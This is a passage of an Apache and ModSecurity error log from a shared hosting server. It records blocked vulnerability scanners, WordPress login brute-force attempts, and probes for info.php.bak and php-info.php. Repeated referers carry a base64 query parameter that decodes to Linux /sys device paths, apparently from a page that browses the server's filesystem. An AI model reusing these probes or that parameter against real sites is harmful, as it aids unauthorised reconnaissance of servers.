18:15:34.975609 2026] [security2:error] [pid 648189:tid 648275] [remote 17.241.75.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yplWSojQL4F7upKBVWgAA5jU"] [Sat Jun 13 18:15:35.010593 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:15:35.011075 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:15:35.060349 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.105:52858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:35.060735 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.105:52858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:35.158237 2026] [security2:error] [pid 646876:tid 646929] [remote 17.246.15.142:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yp9yTkdrNlD40tSGg3gAAHTI"] [Sat Jun 13 18:15:35.289098 2026] [security2:error] [pid 646876:tid 646959] [remote 17.246.15.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yp9yTkdrNlD40tSGg4AAAK1A"] [Sat Jun 13 18:15:35.390978 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.66:43272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:35.391381 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.66:43272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:35.499918 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.16:29866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:35.500401 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.16:29866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:35.616124 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:15:35.616575 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:15:35.762158 2026] [security2:error] [pid 646876:tid 646939] [remote 17.241.75.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yp9yTkdrNlD40tSGg8gAASDw"] [Sat Jun 13 18:15:36.066988 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.67:32865] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:36.067449 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.67:32865] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:36.143154 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:15:36.143778 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:15:36.176102 2026] [security2:error] [pid 646876:tid 647118] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetchbody_variation6.phpt"] [unique_id "ai3yqNyTkdrNlD40tSGhAwAAAG4"] [Sat Jun 13 18:15:36.210449 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.8:31379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:36.210890 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.8:31379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:36.319874 2026] [security2:error] [pid 648189:tid 648335] [remote 17.246.19.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yqFWSojQL4F7upKBVfwAA9HA"] [Sat Jun 13 18:15:36.347407 2026] [security2:error] [pid 646876:tid 646984] [remote 80.82.115.208:46726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3yqNyTkdrNlD40tSGhBwAAL2k"] [Sat Jun 13 18:15:36.444537 2026] [security2:error] [pid 648189:tid 648284] [remote 52.167.144.238:49111] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/content/histanddynasties/content/grammar/content/chineseNums/Sui/NorthernSong/Ming/Yuan/Sui/kangxi.php"] [unique_id "ai3yqFWSojQL4F7upKBVgwAAtD4"] [Sat Jun 13 18:15:36.631159 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:15:36.631640 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:15:36.938674 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.3:30424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:36.939310 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.3:30424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:37.108841 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.49:56487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:37.109412 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.49:56487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:37.178741 2026] [security2:error] [pid 646876:tid 646936] [remote 17.22.237.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yqdyTkdrNlD40tSGhJgAAZjk"] [Sat Jun 13 18:15:37.179693 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:37.180124 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:37.378649 2026] [security2:error] [pid 648189:tid 648312] [remote 17.246.19.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yqVWSojQL4F7upKBVlgAAj1o"] [Sat Jun 13 18:15:37.439465 2026] [security2:error] [pid 646876:tid 646943] [remote 80.82.115.208:46726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3yqdyTkdrNlD40tSGhLwAANkA"], referer: https://madagascar-foundation.org/wp-login.php [Sat Jun 13 18:15:37.518586 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.63:24300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:37.519065 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.63:24300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:37.665260 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.96:42609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:37.665692 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.96:42609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:37.671290 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:37.671732 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:37.739156 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.89:27792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:37.739529 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.89:27792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:37.851867 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:27420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php.bak"] [unique_id "ai3yqVWSojQL4F7upKBVngAAAM0"] [Sat Jun 13 18:15:38.016647 2026] [access_compat:error] [pid 648189:tid 648282] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:38.017079 2026] [access_compat:error] [pid 648189:tid 648282] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:38.118964 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:27422] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/php-info.php"] [unique_id "ai3yqlWSojQL4F7upKBVpgAAANM"] [Sat Jun 13 18:15:38.124930 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.98:63712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:38.125195 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.98:63712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:38.174641 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.83:49008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:38.175063 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.83:49008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:38.176916 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:15:38.177315 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 